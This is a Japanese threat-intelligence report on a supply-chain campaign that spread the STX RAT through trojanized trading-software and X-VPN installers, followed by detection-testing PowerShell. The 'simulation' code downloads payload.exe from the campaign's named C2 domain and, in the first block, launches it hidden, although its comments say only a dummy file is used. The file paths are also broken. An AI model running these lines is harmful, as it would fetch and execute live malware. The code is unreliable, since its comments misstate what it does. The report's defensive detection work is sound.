暗号ウォレットから1億ユーザーのVPNへ：進行中のSTX RATサプライチェーンキャンペーンの内部

概要

研究者は、脅威アクターが悪意のあるDLLサイドローディングを使用したアクティブなサプライチェーンキャンペーンを発見しました CRYPTBASE.dll を利用して、暗号通貨取引ソフトウェアとX-VPNクライアント用のトロイの木馬化されたインストーラーを通じてSTX RATリモートアクセス型トロイの木馬を展開しました。この操作は、1つのBitbucketリポジトリを依存して感染したパッケージを配布し、 supp0v3.com のルート下でC2ドメインを回転させました。金融取引ツールユーザーと広く使われているVPNサービスの両方を対象とすることで、攻撃者は認証情報や他の機密データの大規模な盗難を狙って位置付けました。共通のサイドローディング方法と共通インフラストラクチャをカバーするために、検出コンテンツが更新されました。

調査

分析者は、すべてが同じ CRYPTBASE.dll サイドローディングチェーンを使用してSTX RATをメモリに直接ロードする11の悪意のあるパッケージを特定しました。トロイの木馬化されたインストーラーは、 amos-tradingという名前のBitbucketリポジトリにホストされており、コミットメタデータはその活動をエイリアス Leda Elacoateに関連付けました。公開されると、運営者はインフラストラクチャを helloworld.supp0v3.com to welcome.supp0v3.comに回転させました。YARA分析により、すべてのサンプルでSTX RATが最終的なペイロードであることが確認されました。

緩和策

X-VPNはWindowsバージョン 77.5.3でこの問題に対処し、システムディレクトリからの厳しいDLLローディングを実施し、スタートアップタイムにDLLハッシュ検証を行い、プロセスごとのローディングポリシーを適用しました。ネットワークの周辺で supp0v3.com およびそのサブドメインをブロックすることで、コマンド＆コントロールトラフィックを妨害できます。組織はまた、ソフトウェアダウンロードの衛生を強化し、検証済みのベンダーソースにインストールを制限するべきです。

対応

ディフェンダーは、システムパス外から CRYPTBASE.dll をロードするプロセスにアラートを出し、メモリ上でのSTX RAT実行の兆候を調査するべきです。公開されたSTX RAT YARAルールをEDRプラットフォーム全体に展開し、 supp0v3.com へのアウトバウンドHTTPSトラフィックを注意深く監視する必要があります。すべてのエンドポイントはパッチ済みのX-VPNバージョンに更新されるか、脆弱なソフトウェアを削除すべきです。また、脅威ハンティングは反射的コードロードの動作と関連するマルウェアの多段解凍チェーンに集中するべきです。

シミュレーション実行

前提条件：テレメトリーとベースラインのプレフライトチェックが合格する必要があります。

合理性：このセクションは、検出ルールをトリガーするよう設計された敵対的技術（TTP）の正確な実行を詳述しています。コマンドとストーリーは、識別されたTTPを直接反映し、検出ロジックで期待される正確なテレメトリーを生成することを目指します。

• 攻撃の流れとコマンド：

  低権限ユーザーアカウントを侵害した攻撃者は、C2サーバーから悪意のあるペイロードをダウンロードするためにPowerShellワンライナーを使用します helloworld.supp0v3.com。これは、 T1071.001 （ウェブプロトコルC2）と T1204.002 （ユーザー実行）を利用し、ペイロード自体は難読化されています（T1027, T1027.009）し、正規の実行可能ファイルとして偽装されています（T1036.005/008）。マルウェアのドメインへのアウトバウンド接続はファイアウォールログで捕捉され、結果としてSigmaルールが発火するはずです。

  # Supp0v3 C2ドメインから悪意のあるペイロードをダウンロード
  $url = "http://helloworld.supp0v3.com/payload.exe"
  $out = "$env:TEMPpayload.exe"
  Invoke-WebRequest -Uri $url -UseBasicParsing -OutFile $out
  
  # ペイロードを実行 (シミュレーション – 実際はダミーファイルを作成するだけ)
  Start-Process -FilePath $out -WindowStyle Hidden

• リグレッションテストスクリプト：

  # TC-20260609-A1B2C – helloworld.supp0v3.comへのSTX RAT C2接続をシミュレート
  try {
      # ステップ1：ダミーペイロードを準備（実際のマルウェア実行を避ける）
      $payloadPath = "$env:TEMPpayload.exe"
      Set-Content -Path $payloadPath -Value "This is a dummy executable for testing." -Encoding ASCII
  
      # ステップ2：悪意のあるドメインへのアウトバウンドHTTPリクエストをシミュレート
      $c2Url = "http://helloworld.supp0v3.com/payload.exe"
      Invoke-WebRequest -Uri $c2Url -UseBasicParsing -OutFile $payloadPath
  
      # ステップ3：「実行」ペイロード（安全のために実際の実行は行わない）
      Write-Host "$payloadPathでのペイロードのシミュレーション実行"
  
      Write-Host "シミュレーション完了 – SIEMでのアラートを確認してください。"
  }
  catch {
      Write-Error "シミュレーション失敗: $_"
  }

• クリーンアップコマンド：

  # ダミーペイロードと残留ファイルを削除
  $payloadPath = "$env:TEMPpayload.exe"
  if (Test-Path $payloadPath) {
      Remove-Item -Path $payloadPath -Force
      Write-Host "ペイロードファイルをクリーンアップしました。"
  }
  else {
      Write-Host "ペイロードファイルが見つかりません – クリーンアップの必要はありません。"
  }